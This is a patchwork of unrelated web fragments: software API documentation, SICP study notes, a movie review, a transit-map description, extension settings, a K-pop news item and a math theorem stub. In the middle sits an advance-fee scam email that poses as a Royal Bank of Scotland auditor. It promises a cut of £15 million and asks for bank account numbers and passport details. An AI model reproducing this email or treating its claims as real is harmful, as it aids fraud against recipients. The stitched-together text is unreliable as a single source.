| Twig_Node_BlockReference | Represents a block call node. |
| Twig_Node_Include | Represents an include node. |
| Twig_Node_Block | Represents a block node. |
| Twig_Node_Trans | Represents a trans node. |
| Twig_Node_Debug | Represents a debug node. |
| Twig_Node_Set | Represents a set node. |
| Twig_Node_Print | Represents a node that outputs an expression. |
| Twig_Node_Module | Represents a module node. |
| Twig_Node_For | Represents a for node. |
| Twig_Node_Import | Represents an import node. |
| Twig_Node_Sandbox | Represents a sandbox node. |
| Twig_Node_If | Represents an if node. |
| Twig_Node_Macro | Represents a macro node. |
| Twig_Node_Text | Represents a text node. |
Constructor.
The nodes are automatically made available as properties ($this->node). The attributes are automatically made available as array items ($this['name']).
Returns true if the attribute is defined.
Gets an attribute.
Sets an attribute.
Removes an attribute.
Returns true if the node with the given identifier exists.
Removes a node by name.
Documentation generated on Sun, 24 Oct 2010 20:29:21 +0200 by phpDocumentor 1.4.3


|
Panda3D
|
This is the base class for a family of scene-graph file types that the Loader supports. More...
Public Member Functions | |
| str | getAdditionalExtensions () |
| Returns a space-separated list of extension, in addition to the one returned by get_extension(), that are recognized by this loader. More... | |
| bool | getAllowDiskCache (const LoaderOptions options) |
| Returns true if the loader flags allow retrieving the model from the on- disk bam cache (if it is enabled), false otherwise. More... | |
| bool | getAllowRamCache (const LoaderOptions options) |
| Returns true if the loader flags allow retrieving the model from the in- memory ModelPool cache, false otherwise. More... | |
| str | getExtension () |
| str | getName () |
| bool | supportsCompressed () |
| Returns true if this file type can transparently load compressed files (with a .pz or .gz extension), false otherwise. More... | |
| bool | supportsLoad () |
| Returns true if the file type can be used to load files, and load_file() is supported. More... | |
| bool | supportsSave () |
| Returns true if the file type can be used to save files, and save_file() is supported. More... | |
| Public Member Functions inherited from TypedObject | |
| TypeHandle | getType () |
| int | getTypeIndex () |
| Returns the internal index number associated with this object's TypeHandle, a unique number for each different type. More... | |
| bool | isExactType (TypeHandle handle) |
| Returns true if the current object is the indicated type exactly. More... | |
| bool | isOfType (TypeHandle handle) |
| Returns true if the current object is or derives from the indicated type. More... | |
Static Public Member Functions | |
| static TypeHandle | getClassType () |
| Static Public Member Functions inherited from TypedObject | |
| static TypeHandle | getClassType () |
Additional Inherited Members | |
| Public Attributes inherited from TypedObject | |
| TypeHandle | type |
| Returns the TypeHandle representing this object's type. More... | |
This is the base class for a family of scene-graph file types that the Loader supports.
Each kind of loader that's available should define a corresponding LoaderFileType object and register itself.
| str getAdditionalExtensions | ( | ) |
Returns a space-separated list of extension, in addition to the one returned by get_extension(), that are recognized by this loader.
| bool getAllowDiskCache | ( | const LoaderOptions | options | ) |
Returns true if the loader flags allow retrieving the model from the on- disk bam cache (if it is enabled), false otherwise.
| bool getAllowRamCache | ( | const LoaderOptions | options | ) |
Returns true if the loader flags allow retrieving the model from the in- memory ModelPool cache, false otherwise.
|
static |
| str getExtension | ( | ) |
| str getName | ( | ) |
| bool supportsCompressed | ( | ) |
Returns true if this file type can transparently load compressed files (with a .pz or .gz extension), false otherwise.
| bool supportsLoad | ( | ) |
Returns true if the file type can be used to load files, and load_file() is supported.
Returns false if load_file() is unimplemented and will always fail.
| bool supportsSave | ( | ) |
Returns true if the file type can be used to save files, and save_file() is supported.
Returns false if save_file() is unimplemented and will always fail.


TRANSFORMPOINT3D transform a point with a 3D affine transform PT2 = transformPoint3d(PT1, TRANS); PT2 = transformPoint3d(X1, Y1, Z1, TRANS); where PT1 has the form [xp yp zp], and TRANS is a [3x3], [3x4], [4x4] matrix, return the point transformed according to the affine transform specified by TRANS. Format of TRANS can be one of : [a b c] , [a b c j] , or [a b c j] [d e f] [d e f k] [d e f k] [g h i] [g h i l] [g h i l] [0 0 0 1] PT2 = transformPoint3d(PT1, TRANS) also work when PT1 is a [Nx3] array of double. In this case, PT2 has the same size as PT1. PT2 = transformPoint3d(X1, Y1, Z1, TRANS); also work when X1, Y1 and Z1 are 3 arrays with the same size. In this case, the length of PT2 is the number of elements in each array. [X2 Y2 Z2] = transformPoint3d(...); returns the result in 3 different arrays the same size as the input. This form can be useful when used with functions like meshgrid or warp. See also: points3d, transforms3d, translation3d --------- author : David Legland INRA - TPV URPOI - BIA IMASTE created the 10/02/2005.


## abelson, sussman, abelson ### mit press
first chapter, locke’s concerning human understanding, exposes that all human ideas are made of: - combination -> structure - comparison -> metaphor - abstraction -> maths
[[table_of_contents#understanding code]]
of the three, combination could be linked to aesthetics: the way one thing flows into another, and that is structure, but also comparison as metaphor.
abstraction, too, obviously, through symbols and depictions (goodman + math)
well designed computer programs are modular (constructed, replaced, debugged separately)
justifies LISP prefix syntax by the fact that “no ambiguity can arise” and is a straightforward way to “nest procedures”
says the humans are confused but the machine isn’t
pretty printing: operands are aligned vertically (what kind of reading pattern is this?)
displays the clear structure of the expression [[table_of_contents#3 1 - typology of aesthetics]]
footnote: Lisp obeys the convention that every expression has a value. This convention, together with the old reputation of Lisp as an inefficient language, is the source of the quip by Alan Perlis (paraphrasing Oscar Wilde) that “Lisp programmers know the value of everything but the cost of nothing.”
a program is the step by step increase in complexity
In comparison with most other programming languages, Lisp has a very simple syntax; that is, the evaluation rule for expressions can be described by a simple general rule together with specialized rules for a small number of special forms. -> less is more, minimalism (as opposed to Pascal)
a function is declarative, describing the properties of things, while a procedure is imperative, it states how to do things.
a procedure definition should be able to suppress details: “One of the things we should demand from a powerful programming language is the ability to build abstractions by assigning names to common patterns and then to work in terms of the abstractions directly.”
to what extent should beauty be independent of data? [[table_of_contents#4 3 2 - language-dependent features]]
the program can compute, but can our language express that computation? [[table_of_contents#2 1 the problem of understanding in human and machines]]
They have mixed feeligs about syntactic sugar: p.115, he says let
is syntactic sugar, but seems to encourage it while at the beginning, they were firmly against it (need to find exact part again)
p. 88, on understanding:
“Understanding internal definitions well enough to be sure a program means what we intend it to mean requires a more elaborate model of the evalution process than we have presented in this chapter”.
Understanding relates to models, to practical applications of theories, which can however change over time. Is having a good enough mental model enough to prevent getting lost in syntax? Or is a programming language always changing that mental model (and to what extent? they do interact differently with the flow of data, but do they also create arbitrary demarcations? in the mind of most programmers, yes)
UNDERSTANDING AS MENTAL MODEL AFFECTED BY LANGUAGE
they introduce error as a by product, while in Go it’s first and foremost: possibly because CS at the time was about translation of clear concepts (i.e. math existing, and written before), while now the concepts are born with programming, and therefore aren’t so clear beforehand. in this sense, it becomes more like human writing over time.
this book might be the very beginning of computer programming as expressive, with higher languages and such? or the last after “the art of computer programming”, and a more mental beauty
“expert programmers know how to choose the level of abstraction appropriate to the task”
all about data abstraction


T
rikyas
W
eb
D
esigns
Forster, Australia
02-876-543-291
<EMAIL_ADDRESS>Find us on Facebook
Your Privacy is Our Policy.
Contact Us
Name
Company
Email
Phone
Message


HPEC - High Performance Engineering Culture
Driven by quality, reliability, security & innovation,
powered by its people at core
SHEAT - Smart Hiring of Engineering Talent for Attitude & Technology
Hiring practice & culture building process, building of practioners
Build self nurturing, value driven engineering teams by identifying, hiring, grooming and mentoring colleagues for
right attitude & mindset!
PEP - Pragmatic Engineering Practice using HPEC Engineering practice & culture building process; Build Practioners;
Embracing the engineering culture in a pragmatic way
Specialized consulting on engineering practices around NFRs; Tailored for specific industries
Security,HA,Reliability,Performance & Scalability, etc.


By default, the extension button displays the number of annotations found on the pages you visit. Disable this if you find the badge distracting or if you do not wish the extension to make requests to the Hypothesis service for this data.
Unofficial features
Unofficial extension extra features (info).
Reload the tabs you are annotating for changes to take effect.


PLANET SICK-BOY: http://www.sick-boy.com
The darkest children's film since the Babe sequel, A Dog of Flanders is an early 19th century Belgian story of arson, animal cruelty, children born out of wedlock, drinking, and corruption. It has little to do with the titular dog, but instead concentrates on a young boy's quest to become the next big thing in the northern European art world. It is not – I repeat – not about a new dog for Bart's neighbors Rod and Todd.
The boy is Nello, a lad whose mother was lost to a blinding snowstorm when he was two (nobody knows who his father is). Raised by his weary, dirt poor grandfather Jehan Daas (Jack Warden, Dirty Work), Nello helps out by running milk into town everyday. Like his mother, Nello (played here by Jesse James, Message in a Bottle, who appears to be the missing Hanson brother) also has a talent for sketching with charcoal. One day, he finds a large Bouvier des Flanders – a breed of hard working dog – that was beaten and left for dead in the woods near Nello's home. Naming him Patrasche (his mother's middle name), Nello nurses the bear-like pooch back to health and Patrasche is soon helping the boy with his milk runs.
Flash to a few years later, where Nello (now played by Jeremy James Kissner, the young Finn from Great Expectations and a dead ringer for Leelee Sobieski's younger brother) is coached by a local artist named Michel LaGrande (Jon Voight, Varsity Blues). LaGrande takes Nello to see a work done by another great local artist named Peter Paul Rubens. At first, I thought this was a cross between the guy who invented the Mounds bar and Pee-Wee Herman. But it turns out that LaGrande meant the Belgian Flemish artist from the 1600s and convinces Nello to enter the `Junior Rubens' art contest open to local youth.
Nello's best friend Aloise (Madylin Sweeten, Everybody Loves Raymond) models for Nello's pieces, despite her father's warnings to keep away from his daughter, especially after Nello is blamed for torching his flour mill. The two children still manage to sneak off to a circus, where they share their first kiss and a dance straight from Titanic.
Despite the film's high body count and It's a Wonderful Life-ish ending (where Nello almost meets the same Little Match Girl fate as his mother), Flanders is a warmly glowing picture. Gritty costumer Beatrix Aruna Pasztor, who worked on the last six Gus van Sant films, and cinematographer Walther van den Ende (The Eighth Day) both deserve special recognition. The small town's center is reminiscent of Jude, with its main character seeming to be threatened by the heavy stones that constitute just about everything in sight.
Based on a popular children's story, Flanders is adapted and directed by Kevin Brodie (Treacherous), with television veteran Robert Singer helping script this film version. The ideas in the film seem a little scattered – Warden disappears for about 45 minutes in the middle - and runs a bit long. It seems to not know where it's going or care how long it takes to get there, but instead concentrates on looking good – which isn't a bad thing at all. (1:40 - PG for more violence than you would ordinarily find in a children's film, as well as many deaths)
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


This map shows how many people are riding transit (volume) and how crowded it is in 2015 and 2050. The width of each line represents volume and the color represents crowding. These estimates are summarized to stop-to-stop transit segments, which may be served by multiple transit lines.
On most transit vehicles, crowding level 0.5 usually means most seats are occupied and some passengers may be standing. At 0.85, standing passengers are close and passenger movement is restricted. At 1.0, it is difficult for additional passengers to board. In this visualization, crowding is represented as an average across all of the individual vehicles in the time period, so some vehicles may be more or less crowded.
Use the buttons on the side panel to select the data you want to view. Data selection options include:
Year: 2015, 2050, or Change to view the difference between 2015 and 2015.
Time period: AM (6:00 am to 9:00 am) or PM (3:30 pm to 6:30 pm)
Transit mode type: Muni Bus, Muni Rail, or Regional Transit (including BART, Caltrain, Ferries, and regional bus service that serves San Francisco)
You can also add additional context layers under “Map Layers”.


Keyboard Shortcuts
Popup specific
-
When the popup is visible, you can:
- navigate through the presets using the
Up
& Down
arrow keys and press Enter
to select one of the options;
- use any of the numeric keys
0 - 9
to resize to the appropriate preset in the list;
- press
E
to edit the presets or S
to edit the other settings.
Global shortcuts
- Show/hide the extension's popup by pressing
- Cycle through all your presets by pressing
<disabled>
-
Please, PLEASE remember that any presets that would resize the viewport will only work on tabs that contain a page loaded using one of the following protocols:
http://
, https://
or file://
-
Due to Chrome limitations, developers are allowed to set suggested shortcuts for up to 4 commands.
This is why you'll have to manually edit your shortcut keys before being able to use any of the global commands.
-
Use the link at the bottom of the extensions' listing page to edit the shortcuts
something like this


Travel through a wormhole
Test. So on the internet it's kind of hard to get a realistic impression of what travelling through a wormhole could look like. If you look around a bit you'll find things like:
- this wormhole simulation video based on the actual maths of general relativity,
- this scene of the movie "Interstellar", which is epic but completely inaccurate for the interior for artistic reasons (the exterior seems legit), and
- this "Interstellar" thing I made, which is maybe sort of accurate, but in reality is just hacked together without knowing anything about general relativity or differential geometry.
None of these show what a wormhole with a long "throat" would look like. This simulation does.
Controls
Use AWSD + mouse controls to move around on PC, and drag up, left and right to move forward and rotate on mobile devices.
Side note: on some mobile devices and on PCs with certain GPUs the rendering might be rather grainy. If it happens to you: sorry about that!
Click anywhere to continue


>From Mr.David heskey.. The Auditor/Head of Department Royal Bank of Scotland, United Kingdom. +44-7040-110197 (Great Opportunity Very Urgent and Confidential) _______________________________________________ Dear Friend, I want to transfer out £15,000,000.00 (Fifteen Million Pounds Sterling) from our bank here,I have the courage to look for a reliable and honest person who will be capable for this important transaction, believing that you will never let me down either now or in future. I want to transfer this money into a safe foreign account abroad but i don't know any foreigner, I am only contacting you as a foreigner because this money can not be approved to any local bank here in Scotland, but can only be approved to any foreign account because the money is pounds sterlings and the former owner of the account is John Hughes and he was a foreigner too. I am contacting you because of the need to involve a foreigner with a foreign account as the real beneficiary. At the conclusion of this business, you will be given 35% of the total amount, 60% will be for me, while 5% will be for expenses both parties might have incurred during this process. Send me as a matter of urgent for onward processing: (1) Your Private: Tele& Fax Number (2) Your Account: Number (3) Your Account: Name (4) Your Bank: Address (5) Your Bank: Name (6) Your Passport I await your earliest reply, Thanks. Sincerely, Mr. DAVID J HESKEY.


2 Kings 13:20
And Elisha died, and they buried him. And the bands of the Moabites invaded the land at the coming in of the year.


Momoland's Jane opens personal Instagram account!
by danisurstJane has become the latest Momoland member to open her own Instagram account!
Her new account was announced through the official Momoland social media on November 10 KST.
Her very first post commemorated the group's three-year anniversary with a picture of the Momoland members joining their hands together to form a six-pointed start with their fingers.
"November 10, 2016. Momoland, Merry [Momoland's fandom name], congratulations on three years," she wrote. "You've been waiting for a long time, right? Today I am opening [my Instagram account]. I've also been waiting."
Meanwhile, Momoland shared a group photo through their official Twitter account to commemorate the special day.
Check out Jane's Instagram post below!


---
layout: theorems
---
For $A\subseteq M_n(\mathbb{F})$, $E\in M_n(\mathbb{F})$, where $E$ is an elementary matrix, then
$$\begin{align*}
\text{det}(AE)=\text{det}(A)\text{det}(E)=\text{det}(EA)
\end{align*}$$
Concepts
This follows for what each elementary row operation does to the determinant. It suffices to check for each elementary row operation that $E$ can correspond to.
Hypothesis
Coming soon
Results
Coming soon
Proof
Coming soon


|
Plant-o-Matic
|
#include <DHT11.h>
Public Member Functions | |
| DHT11 (int pin) | |
| ~DHT11 () | |
| void | start () |
| void | stop () |
| void | setCallBack (DHT11callback *cb) |
| void | set_pin (int pin) |
Private Member Functions | |
| bool | read_dht_data () |
Static Private Member Functions | |
| static void | run (DHT11 *dht11) |
Private Attributes | |
| DHT11callback * | dht11callback = NULL |
| int | DHTPIN |
| int | running = 0 |
| const int | MAXTIMINGS = 85 |
| std::thread * | dhtThread = NULL |
| int | dht11_dat [5] = { 0, 0, 0, 0, 0 } |
This class reads data from DHT11/22 sensors in the background and calls a callback whenever data is available
| DHT11::DHT11 | ( | int | pin | ) |
clas constructor
|
inline |
|
private |
|
staticprivate |
| void DHT11::set_pin | ( | int | pin | ) |
function that allows to set the GPIO pin
| void DHT11::setCallBack | ( | DHT11callback * | cb | ) |
function that allows to threads to set callbacks
| void DHT11::start | ( | ) |
Starts the data acquisition in the background and the callback is called with new samples
| void DHT11::stop | ( | ) |
Stops the data acquisition
|
private |
|
private |
|
private |
|
private |
|
private |
|
private |